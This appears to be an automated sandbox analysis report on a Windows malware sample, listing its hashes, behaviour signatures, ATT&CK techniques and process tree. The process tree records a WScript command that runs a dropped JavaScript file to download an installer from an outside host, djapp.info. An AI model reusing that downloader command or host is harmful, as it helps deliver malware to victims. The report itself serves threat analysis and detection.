Analysis

  • max time kernel
    130s
  • max time network
    102s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-05-2024 08:19

General

  • Target

    33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    33a3c781df3a2ce36310527ffee586ff

  • SHA1

    d79cbd67ca91b2c556549b5ded95e495de7394f8

  • SHA256

    f4ce2d35f93b49560daac1d7afb1d7f65c9016aa5938685d235b3880b772d0ee

  • SHA512

    e2e7ae62e36300add0e3eb2e4232f2b708419d90cda9d1f78c5f9febf90db973913827205583696016377864912c405829c22d8dda571e3e4e3e5631d59fe5ee

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3f:/7BSH8zUB+nGESaaRvoB7FJNndnu

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe
      2⤵
      • Blocklisted process makes network request
      PID:3604
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe
      2⤵
      • Blocklisted process makes network request
      PID:2716
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe
      2⤵
      • Blocklisted process makes network request
      PID:768
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe
      2⤵
      • Blocklisted process makes network request
      PID:2252
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe
      2⤵
      • Blocklisted process makes network request
      PID:4504

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

JavaScript

1
T1059.007

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf3393.js
    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76